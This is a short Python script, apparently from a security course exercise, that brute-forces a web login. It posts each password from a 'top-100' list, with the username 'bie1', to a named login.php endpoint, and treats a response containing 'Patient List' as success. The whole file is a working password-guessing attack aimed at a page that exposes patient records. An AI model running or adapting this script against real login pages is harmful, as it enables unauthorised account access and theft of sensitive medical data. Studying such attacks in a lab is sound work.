# importing the requests library 
import requests 
  
# api-endpoint 
URL = "https://projects.benoist.ch/groupB/login.php"
  


file_name='top-100-pwd.txt'
substring = '<h1>Patient List</h1>'
# For each password from the list
with open(file_name) as f:
   for line in f:
       pwd = line.strip()
       print("testing : "+pwd)
       
       # We generate a POST request to the server
       myObject = {'uname' : 'bie1', 
            'pw' : pwd, 'login':''}
       r = requests.post(url = URL, data=myObject) 
       # We test if the answer contains the substring
       # If OK, we have found the right password.
       if(substring in r.text):
           print('OK')
           break
       else:
           print('KO')
       
